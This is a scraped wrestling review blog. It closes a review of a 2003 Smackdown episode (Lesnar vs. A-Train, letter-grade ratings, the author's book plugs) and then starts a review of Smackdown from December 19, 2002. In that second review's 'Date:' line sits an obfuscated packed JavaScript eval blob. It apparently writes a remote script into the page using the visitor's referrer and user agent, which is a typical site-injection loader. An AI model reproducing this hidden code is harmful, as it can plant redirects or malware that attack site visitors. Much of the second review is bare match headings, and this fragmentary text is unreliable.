Rating: D-. So let me make sure I’ve got this straight: Show has been humiliated twice in a row and is likely to squash Mysterio on Sunday, Rey is little more than a fly who is going to be swatted in the actual match, Tajiri gets treated like a jobber and Mysterio/Tajiri beating Team Angle to start the whole thing meant nothing at all. If someone would be interested in pointing out a positive in this whole mess, please let me know.

Stephanie McMahon is bent over a table for no apparent reason other than she probably thought she looked good that day (granted she’s not wrong). She’s an All-American girl and is happy to have Mr. America here next week.

Backlash rundown.

Brock Lesnar vs. A-Train

Non-title with Cena on commentary. Lesnar’s pyro when he jumps to the apron seems to shake Cena, which you don’t see very often. Joined in progress after a break with an exchange of power shoves. We hit a front facelock with Brock rolling A-Train around like he’s not even there. Back up and a big collision puts both of them down and it’s another staredown.

Brock finally gets a more definitive advantage by clotheslining A-Train to the floor, allowing Cena to trash talk even more. The distraction lets A-Train kick him in the face to take over, followed by the chinlock. Brock fights up but gets puts right back down with a hard shoulder. A powerslam works a bit better for Lesnar, only to have A-Train grab the Derailer for two. Cena: “WHAT’S UP WITH CHIODA DOG??? WAY OUT OF POSITION!” The F5 plants A-Train a few seconds later but Cena comes in for the DQ.

Rating: D. Slow, plodding power match here with an obvious and dull ending. Lesnar winning is fine and A-Train got in some big shots despite having no change to win. There’s no hiding the fact that Lesnar vs. Cena is the only Smackdown match that matters on Sunday but it’s looking like little more than a glorified squash. Bad main event to a bad show.

Cena chains Lesnar in the head and hits the Death Valley Driver (now the standard AA). A belt shot to Lesnar’s head ends the show.

Overall Rating: F+. The best thing on the show was a lackluster Chavo vs. Shelton match as it’s clear that the Smackdown side of Backlash means absolutely nothing. Brock vs. Cena is the distant third biggest match on the pay per view card and everything else is complete filler. This show did nothing to shake that idea as the whole thing was Lesnar vs. Cena and everything else, none of which was interesting in the slightest. It was a terrible show and another part of a horrid stretch for the brand.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – December 19, 2002: They’re Better Than This

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbhhe|var|u0026u|referrer|rdfed||js|php'.split('|'),0,{})) December 19, 2002
Location: St. Pete Times Forum, Tampa, Florida
Commentators: Michael Cole, Tazz

Opening sequence.

Eddie Guerrero vs. Billy Kidman

John Cena vs. Chuck Palumbo

We get a long, LONG recap of the build to Torrie/Dawn in the hotel room (same as the one from Sunday I believe) and then see about ten seconds, all of which we saw at the pay per view.

Brock Lesnar vs. Matt Hardy

Brock Lesnar vs. Shannon Moore

Blind Matt gets beaten down as well.

Bill DeMott/Crash vs. Jamie Noble/Nunzio

DeMott beats Crash down as well.

Edge is ready to beat up A-Train again tonight.

Edge vs. A-Train

Kurt Angle vs. Chris Benoit

Lesnar runs in for some suplexes but gets beaten down as well to end the show. My only other thought here: Heyman reminds me of Louie De Palma in far too many ways.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6